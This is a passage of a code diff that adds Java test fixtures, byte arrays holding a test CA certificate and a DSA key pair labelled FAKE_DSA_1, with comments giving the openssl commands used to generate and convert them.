+            (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
+            (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
+        };
+
+        /**
+         * Generated from above and converted with:
+         *
+         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] caCertificate = {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xce, (byte) 0x30, (byte) 0x82,
+            (byte) 0x02, (byte) 0x37, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0xe1, (byte) 0x6a,
+            (byte) 0xa2, (byte) 0xf4, (byte) 0x2e, (byte) 0x55, (byte) 0x48, (byte) 0x0a,
+            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x4f, (byte) 0x31,
+            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53,
+            (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43,
+            (byte) 0x41, (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d,
+            (byte) 0x4d, (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61,
+            (byte) 0x69, (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65,
+            (byte) 0x77, (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12,
+            (byte) 0x41, (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69,
+            (byte) 0x64, (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74,
+            (byte) 0x20, (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73,
+            (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x31, (byte) 0x32,
+            (byte) 0x30, (byte) 0x38, (byte) 0x31, (byte) 0x34, (byte) 0x31, (byte) 0x36,
+            (byte) 0x35, (byte) 0x35, (byte) 0x34, (byte) 0x34, (byte) 0x5a, (byte) 0x17,
+            (byte) 0x0d, (byte) 0x32, (byte) 0x32, (byte) 0x30, (byte) 0x38, (byte) 0x31,
+            (byte) 0x32, (byte) 0x31, (byte) 0x36, (byte) 0x35, (byte) 0x35, (byte) 0x34,
+            (byte) 0x34, (byte) 0x5a, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b,
+            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+            (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31,
+            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41,
+            (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d,
+            (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69,
+            (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77,
+            (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41,
+            (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64,
+            (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20,
+            (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x30,
+            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
+            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
+            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa3, (byte) 0x72,
+            (byte) 0xab, (byte) 0xd0, (byte) 0xe4, (byte) 0xad, (byte) 0x2f, (byte) 0xe7,
+            (byte) 0xe2, (byte) 0x79, (byte) 0x07, (byte) 0x36, (byte) 0x3d, (byte) 0x0c,
+            (byte) 0x8d, (byte) 0x42, (byte) 0x9a, (byte) 0x0a, (byte) 0x33, (byte) 0x64,
+            (byte) 0xb3, (byte) 0xcd, (byte) 0xb2, (byte) 0xd7, (byte) 0x3a, (byte) 0x42,
+            (byte) 0x06, (byte) 0x77, (byte) 0x45, (byte) 0x29, (byte) 0xe9, (byte) 0xcb,
+            (byte) 0xb7, (byte) 0x4a, (byte) 0xd6, (byte) 0xee, (byte) 0xad, (byte) 0x01,
+            (byte) 0x91, (byte) 0x9b, (byte) 0x0c, (byte) 0x59, (byte) 0xa1, (byte) 0x03,
+            (byte) 0xfa, (byte) 0xf0, (byte) 0x5a, (byte) 0x7c, (byte) 0x4f, (byte) 0xf7,
+            (byte) 0x8d, (byte) 0x36, (byte) 0x0f, (byte) 0x1f, (byte) 0x45, (byte) 0x7d,
+            (byte) 0x1b, (byte) 0x31, (byte) 0xa1, (byte) 0x35, (byte) 0x0b, (byte) 0x00,
+            (byte) 0xed, (byte) 0x7a, (byte) 0xb6, (byte) 0xc8, (byte) 0x4e, (byte) 0xa9,
+            (byte) 0x86, (byte) 0x4c, (byte) 0x7b, (byte) 0x99, (byte) 0x57, (byte) 0x41,
+            (byte) 0x12, (byte) 0xef, (byte) 0x6b, (byte) 0xbc, (byte) 0x3d, (byte) 0x60,
+            (byte) 0xf2, (byte) 0x99, (byte) 0x1a, (byte) 0xcd, (byte) 0xed, (byte) 0x56,
+            (byte) 0xa4, (byte) 0xe5, (byte) 0x36, (byte) 0x9f, (byte) 0x24, (byte) 0x1f,
+            (byte) 0xdc, (byte) 0x89, (byte) 0x40, (byte) 0xc8, (byte) 0x99, (byte) 0x92,
+            (byte) 0xab, (byte) 0x4a, (byte) 0xb5, (byte) 0x61, (byte) 0x45, (byte) 0x62,
+            (byte) 0xff, (byte) 0xa3, (byte) 0x45, (byte) 0x65, (byte) 0xaf, (byte) 0xf6,
+            (byte) 0x27, (byte) 0x30, (byte) 0x51, (byte) 0x0e, (byte) 0x0e, (byte) 0xeb,
+            (byte) 0x79, (byte) 0x0c, (byte) 0xbe, (byte) 0xb3, (byte) 0x0a, (byte) 0x6f,
+            (byte) 0x29, (byte) 0x06, (byte) 0xdc, (byte) 0x2f, (byte) 0x6b, (byte) 0x51,
+            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
+            (byte) 0x81, (byte) 0xb1, (byte) 0x30, (byte) 0x81, (byte) 0xae, (byte) 0x30,
+            (byte) 0x1d, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e,
+            (byte) 0x04, (byte) 0x16, (byte) 0x04, (byte) 0x14, (byte) 0x33, (byte) 0x05,
+            (byte) 0xee, (byte) 0xfe, (byte) 0x6f, (byte) 0x60, (byte) 0xc7, (byte) 0xf9,
+            (byte) 0xa9, (byte) 0xd2, (byte) 0x73, (byte) 0x5c, (byte) 0x8f, (byte) 0x6d,
+            (byte) 0xa2, (byte) 0x2f, (byte) 0x97, (byte) 0x8e, (byte) 0x5d, (byte) 0x51,
+            (byte) 0x30, (byte) 0x7f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d,
+            (byte) 0x23, (byte) 0x04, (byte) 0x78, (byte) 0x30, (byte) 0x76, (byte) 0x80,
+            (byte) 0x14, (byte) 0x33, (byte) 0x05, (byte) 0xee, (byte) 0xfe, (byte) 0x6f,
+            (byte) 0x60, (byte) 0xc7, (byte) 0xf9, (byte) 0xa9, (byte) 0xd2, (byte) 0x73,
+            (byte) 0x5c, (byte) 0x8f, (byte) 0x6d, (byte) 0xa2, (byte) 0x2f, (byte) 0x97,
+            (byte) 0x8e, (byte) 0x5d, (byte) 0x51, (byte) 0xa1, (byte) 0x53, (byte) 0xa4,
+            (byte) 0x51, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
+            (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
+            (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31, (byte) 0x0b,
+            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+            (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41, (byte) 0x31,
+            (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d, (byte) 0x6f,
+            (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69, (byte) 0x6e,
+            (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77, (byte) 0x31,
+            (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41, (byte) 0x6e,
+            (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64, (byte) 0x20,
+            (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20, (byte) 0x43,
+            (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x82, (byte) 0x09,
+            (byte) 0x00, (byte) 0xe1, (byte) 0x6a, (byte) 0xa2, (byte) 0xf4, (byte) 0x2e,
+            (byte) 0x55, (byte) 0x48, (byte) 0x0a, (byte) 0x30, (byte) 0x0c, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05,
+            (byte) 0x30, (byte) 0x03, (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30,
+            (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48,
+            (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05,
+            (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00,
+            (byte) 0x8c, (byte) 0x30, (byte) 0x42, (byte) 0xfa, (byte) 0xeb, (byte) 0x1a,
+            (byte) 0x26, (byte) 0xeb, (byte) 0xda, (byte) 0x56, (byte) 0x32, (byte) 0xf2,
+            (byte) 0x9d, (byte) 0xa5, (byte) 0x24, (byte) 0xd8, (byte) 0x3a, (byte) 0xda,
+            (byte) 0x30, (byte) 0xa6, (byte) 0x8b, (byte) 0x46, (byte) 0xfe, (byte) 0xfe,
+            (byte) 0xdb, (byte) 0xf1, (byte) 0xe6, (byte) 0xe1, (byte) 0x7c, (byte) 0x1b,
+            (byte) 0xe7, (byte) 0x77, (byte) 0x00, (byte) 0xa1, (byte) 0x1c, (byte) 0x19,
+            (byte) 0x17, (byte) 0x73, (byte) 0xb0, (byte) 0xf0, (byte) 0x9d, (byte) 0xf3,
+            (byte) 0x4f, (byte) 0xb6, (byte) 0xbc, (byte) 0xc7, (byte) 0x47, (byte) 0x85,
+            (byte) 0x2a, (byte) 0x4a, (byte) 0xa1, (byte) 0xa5, (byte) 0x58, (byte) 0xf5,
+            (byte) 0xc5, (byte) 0x1a, (byte) 0x51, (byte) 0xb1, (byte) 0x04, (byte) 0x80,
+            (byte) 0xee, (byte) 0x3a, (byte) 0xec, (byte) 0x2f, (byte) 0xe1, (byte) 0xfd,
+            (byte) 0x58, (byte) 0xeb, (byte) 0xed, (byte) 0x82, (byte) 0x9e, (byte) 0x38,
+            (byte) 0xa3, (byte) 0x24, (byte) 0x75, (byte) 0xf7, (byte) 0x3e, (byte) 0xc2,
+            (byte) 0xc5, (byte) 0x27, (byte) 0xeb, (byte) 0x6f, (byte) 0x7b, (byte) 0x50,
+            (byte) 0xda, (byte) 0x43, (byte) 0xdc, (byte) 0x3b, (byte) 0x0b, (byte) 0x6f,
+            (byte) 0x78, (byte) 0x8f, (byte) 0xb0, (byte) 0x66, (byte) 0xe1, (byte) 0x12,
+            (byte) 0x87, (byte) 0x5f, (byte) 0x97, (byte) 0x7b, (byte) 0xca, (byte) 0x14,
+            (byte) 0x79, (byte) 0xf7, (byte) 0xe8, (byte) 0x6c, (byte) 0x72, (byte) 0xdb,
+            (byte) 0x91, (byte) 0x65, (byte) 0x17, (byte) 0x54, (byte) 0xe0, (byte) 0x74,
+            (byte) 0x1d, (byte) 0xac, (byte) 0x47, (byte) 0x04, (byte) 0x12, (byte) 0xe0,
+            (byte) 0xc3, (byte) 0x66, (byte) 0x19, (byte) 0x05, (byte) 0x2e, (byte) 0x7e,
+            (byte) 0xf1, (byte) 0x61
+        };
+    }
+
+    /*
+     * The keys and certificates below are generated with:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     * openssl dsaparam -out dsaparam.pem 1024
+     * openssl req -newkey dsa:dsaparam.pem -keyout userkey.pem -nodes -days 3650 -out userkey.req
+     * mkdir -p demoCA/newcerts
+     * touch demoCA/index.txt
+     * echo "01" > demoCA/serial
+     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
+     */
+    public static class FAKE_DSA_1 {
+        /**
+         * Generated from above and converted with: openssl pkcs8 -topk8 -outform d
+         * -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] privateKey = {
+            (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x4c, (byte) 0x02, (byte) 0x01,
+            (byte) 0x00, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x2c, (byte) 0x06,
+            (byte) 0x07, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0xce, (byte) 0x38,
+            (byte) 0x04, (byte) 0x01, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x1f,
+            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xb3, (byte) 0x23,
+            (byte) 0xf7, (byte) 0x86, (byte) 0xbd, (byte) 0x3b, (byte) 0x86, (byte) 0xcc,
+            (byte) 0xc3, (byte) 0x91, (byte) 0xc0, (byte) 0x30, (byte) 0x32, (byte) 0x02,
+            (byte) 0x47, (byte) 0x35, (byte) 0x01, (byte) 0xef, (byte) 0xee, (byte) 0x98,
+            (byte) 0x13, (byte) 0x56, (byte) 0x49, (byte) 0x47, (byte) 0xb5, (byte) 0x20,
+            (byte) 0xa8, (byte) 0x60, (byte) 0xcb, (byte) 0xc0, (byte) 0xd5, (byte) 0x77,
+            (byte) 0xc1, (byte) 0x69, (byte) 0xcd, (byte) 0x18, (byte) 0x34, (byte) 0x92,
+            (byte) 0xf2, (byte) 0x6a, (byte) 0x2a, (byte) 0x10, (byte) 0x59, (byte) 0x1c,
+            (byte) 0x91, (byte) 0x20, (byte) 0x51, (byte) 0xca, (byte) 0x37, (byte) 0xb2,
+            (byte) 0x87, (byte) 0xa6, (byte) 0x8a, (byte) 0x02, (byte) 0xfd, (byte) 0x45,
+            (byte) 0x46, (byte) 0xf9, (byte) 0x76, (byte) 0xb1, (byte) 0x35, (byte) 0x38,
+            (byte) 0x8d, (byte) 0xff, (byte) 0x4c, (byte) 0x5d, (byte) 0x75, (byte) 0x8f,
+            (byte) 0x66, (byte) 0x15, (byte) 0x7d, (byte) 0x7b, (byte) 0xda, (byte) 0xdb,
+            (byte) 0x57, (byte) 0x39, (byte) 0xff, (byte) 0x91, (byte) 0x3f, (byte) 0xdd,
+            (byte) 0xe2, (byte) 0xb4, (byte) 0x22, (byte) 0x60, (byte) 0x4c, (byte) 0x32,
+            (byte) 0x3b, (byte) 0x9d, (byte) 0x34, (byte) 0x9f, (byte) 0xb9, (byte) 0x5d,
+            (byte) 0x75, (byte) 0xb9, (byte) 0xd3, (byte) 0x7f, (byte) 0x11, (byte) 0xba,
+            (byte) 0xb7, (byte) 0xc8, (byte) 0x32, (byte) 0xc6, (byte) 0xce, (byte) 0x71,
+            (byte) 0x91, (byte) 0xd3, (byte) 0x32, (byte) 0xaf, (byte) 0x4d, (byte) 0x7e,
+            (byte) 0x7c, (byte) 0x15, (byte) 0xf7, (byte) 0x71, (byte) 0x2c, (byte) 0x52,
+            (byte) 0x65, (byte) 0x4d, (byte) 0xa9, (byte) 0x81, (byte) 0x25, (byte) 0x35,
+            (byte) 0xce, (byte) 0x0b, (byte) 0x5b, (byte) 0x56, (byte) 0xfe, (byte) 0xf1,
+            (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xeb, (byte) 0x4e, (byte) 0x7f,
+            (byte) 0x7a, (byte) 0x31, (byte) 0xb3, (byte) 0x7d, (byte) 0x8d, (byte) 0xb2,
+            (byte) 0xf7, (byte) 0xaf, (byte) 0xad, (byte) 0xb1, (byte) 0x42, (byte) 0x92,
+            (byte) 0xf3, (byte) 0x6c, (byte) 0xe4, (byte) 0xed, (byte) 0x8b, (byte) 0x02,
+            (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x81, (byte) 0xc8, (byte) 0x36,
+            (byte) 0x48, (byte) 0xdb, (byte) 0x71, (byte) 0x2b, (byte) 0x91, (byte) 0xce,
+            (byte) 0x6d, (byte) 0xbc, (byte) 0xb8, (byte) 0xf9, (byte) 0xcb, (byte) 0x50,
+            (byte) 0x91, (byte) 0x10, (byte) 0x8a, (byte) 0xf8, (byte) 0x37, (byte) 0x50,
+            (byte) 0xda, (byte) 0x4f, (byte) 0xc8, (byte) 0x4d, (byte) 0x73, (byte) 0xcb,
+            (byte) 0x4d, (byte) 0xb0, (byte) 0x19, (byte) 0x54, (byte) 0x5a, (byte) 0xf3,
+            (byte) 0x6c, (byte) 0xc9, (byte) 0xd8, (byte) 0x96, (byte) 0xd9, (byte) 0xb0,
+            (byte) 0x54, (byte) 0x7e, (byte) 0x7d, (byte) 0xe2, (byte) 0x58, (byte) 0x0e,
+            (byte) 0x5f, (byte) 0xc0, (byte) 0xce, (byte) 0xb9, (byte) 0x5c, (byte) 0xe3,
+            (byte) 0xd3, (byte) 0xdf, (byte) 0xcf, (byte) 0x45, (byte) 0x74, (byte) 0xfb,
+            (byte) 0xe6, (byte) 0x20, (byte) 0xe7, (byte) 0xfc, (byte) 0x0f, (byte) 0xca,
+            (byte) 0xdb, (byte) 0xc0, (byte) 0x0b, (byte) 0xe1, (byte) 0x5a, (byte) 0x16,
+            (byte) 0x1d, (byte) 0xb3, (byte) 0x2e, (byte) 0xe5, (byte) 0x5f, (byte) 0x89,
+            (byte) 0x17, (byte) 0x73, (byte) 0x50, (byte) 0xd1, (byte) 0x4a, (byte) 0x60,
+            (byte) 0xb7, (byte) 0xaa, (byte) 0xf0, (byte) 0xc7, (byte) 0xc5, (byte) 0x03,
+            (byte) 0x4e, (byte) 0x36, (byte) 0x51, (byte) 0x9e, (byte) 0x2f, (byte) 0xfa,
+            (byte) 0xf3, (byte) 0xd6, (byte) 0x58, (byte) 0x14, (byte) 0x02, (byte) 0xb4,
+            (byte) 0x41, (byte) 0xd6, (byte) 0x72, (byte) 0x6f, (byte) 0x58, (byte) 0x5b,
+            (byte) 0x2d, (byte) 0x23, (byte) 0xc0, (byte) 0x75, (byte) 0x4f, (byte) 0x39,
+            (byte) 0xa8, (byte) 0x6a, (byte) 0xdf, (byte) 0x79, (byte) 0x21, (byte) 0xf2,
+            (byte) 0x77, (byte) 0x91, (byte) 0x3f, (byte) 0x1c, (byte) 0x4d, (byte) 0x48,
+            (byte) 0x78, (byte) 0xcd, (byte) 0xed, (byte) 0x79, (byte) 0x23, (byte) 0x04,
+            (byte) 0x17, (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xc7, (byte) 0xe7,
+            (byte) 0xe2, (byte) 0x6b, (byte) 0x14, (byte) 0xe6, (byte) 0x31, (byte) 0x12,
+            (byte) 0xb2, (byte) 0x1e, (byte) 0xd4, (byte) 0xf2, (byte) 0x9b, (byte) 0x2c,
+            (byte) 0xf6, (byte) 0x54, (byte) 0x4c, (byte) 0x12, (byte) 0xe8, (byte) 0x22
+
+        };
+
+        /**
+         * Generated from above and converted with:
+         *
+         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] caCertificate = new byte[] {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x8a, (byte) 0x30, (byte) 0x82,
+            (byte) 0x01, (byte) 0xf3, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
+            (byte) 0x68, (byte) 0x7f, (byte) 0x42, (byte) 0x92, (byte) 0x0b, (byte) 0x7a,
+            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x5e, (byte) 0x31,
+            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55,
+            (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03,
+            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53,
+            (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74,
+            (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x21, (byte) 0x30,
+            (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a,
+            (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
+            (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x20, (byte) 0x57,
+            (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69, (byte) 0x74, (byte) 0x73,
+            (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79, (byte) 0x20, (byte) 0x4c,
+            (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17, (byte) 0x30, (byte) 0x15,
+            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x03, (byte) 0x0c,
+            (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e, (byte) 0x65, (byte) 0x78,
+            (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x65, (byte) 0x2e,
+            (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30, (byte) 0x1e, (byte) 0x17,
+            (byte) 0x0d, (byte) 0x31, (byte) 0x33, (byte) 0x30, (byte) 0x38, (byte) 0x32,
+            (byte) 0x37, (byte) 0x32, (byte) 0x33, (byte) 0x33, (byte) 0x31, (byte) 0x32,
+            (byte) 0x39, (byte) 0x5a, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x33,
+            (byte) 0x30, (byte) 0x38, (byte) 0x32, (byte) 0x35, (byte) 0x32, (byte) 0x33,
+            (byte) 0x33, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x5a, (byte) 0x30,
+            (byte) 0x5e, (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02,
+            (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11,
+            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c,
+            (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d,
+            (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31,
+            (byte) 0x21, (byte) 0x30, (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e,
+            (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74,
+            (byte) 0x20, (byte) 0x57, (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69,
+            (byte) 0x74, (byte) 0x73, (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79,
+            (byte) 0x20, (byte) 0x4c, (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17,
+            (byte) 0x30, (byte) 0x15, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+            (byte) 0x03, (byte) 0x0c, (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e,
+            (byte) 0x65, (byte) 0x78, (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
+            (byte) 0x65, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30,
+            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
+            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
+            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa4, (byte) 0xc7,
+            (byte) 0x06, (byte) 0xba, (byte) 0xdf, (byte) 0x2b, (byte) 0xee, (byte) 0xd2,
+            (byte) 0xb9, (byte) 0xe4, (byte) 0x52, (byte) 0x21, (byte) 0x68, (byte) 0x2b,
+            (byte) 0x83, (byte) 0xdf, (byte) 0xe3, (byte) 0x9c, (byte) 0x08, (byte) 0x73,
+            (byte) 0xdd, (byte) 0x90, (byte) 0xea, (byte) 0x97, (byte) 0x0c, (byte) 0x96,
+            (byte) 0x20, (byte) 0xb1, (byte) 0xee, (byte) 0x11, (byte) 0xd5, (byte) 0xd4,
+            (byte) 0x7c, (byte) 0x44, (byte) 0x96, (byte) 0x2e, (byte) 0x6e, (byte) 0xa2,
+            (byte) 0xb2, (byte) 0xa3, (byte) 0x4b, (byte) 0x0f, (byte) 0x32, (byte) 0x90,
+            (byte) 0xaf, (byte) 0x5c, (byte) 0x6f, (byte) 0x00, (byte) 0x88, (byte) 0x45,
+            (byte) 0x4e, (byte) 0x9b, (byte) 0x26, (byte) 0xc1, (byte) 0x94, (byte) 0x3c,
+            (byte) 0xfe, (byte) 0x10, (byte) 0xbd, (byte) 0xda, (byte) 0xf2, (byte) 0x8d,
+            (byte) 0x03, (byte) 0x52, (byte) 0x32, (byte) 0x11, (byte) 0xff, (byte) 0xf6,
+            (byte) 0xf9, (byte) 0x6e, (byte) 0x8f, (byte) 0x0f, (byte) 0xc8, (byte) 0x0a,
+            (byte) 0x48, (byte) 0x39, (byte) 0x33, (byte) 0xb9, (byte) 0x0c, (byte) 0xb3,
+            (byte) 0x2b, (byte) 0xab, (byte) 0x7d, (byte) 0x79, (byte) 0x6f, (byte) 0x57,
+            (byte) 0x5b, (byte) 0xb8, (byte) 0x84, (byte) 0xb6, (byte) 0xcc, (byte) 0xe8,
+            (byte) 0x30, (byte) 0x78, (byte) 0xff, (byte) 0x92, (byte) 0xe5, (byte) 0x43,
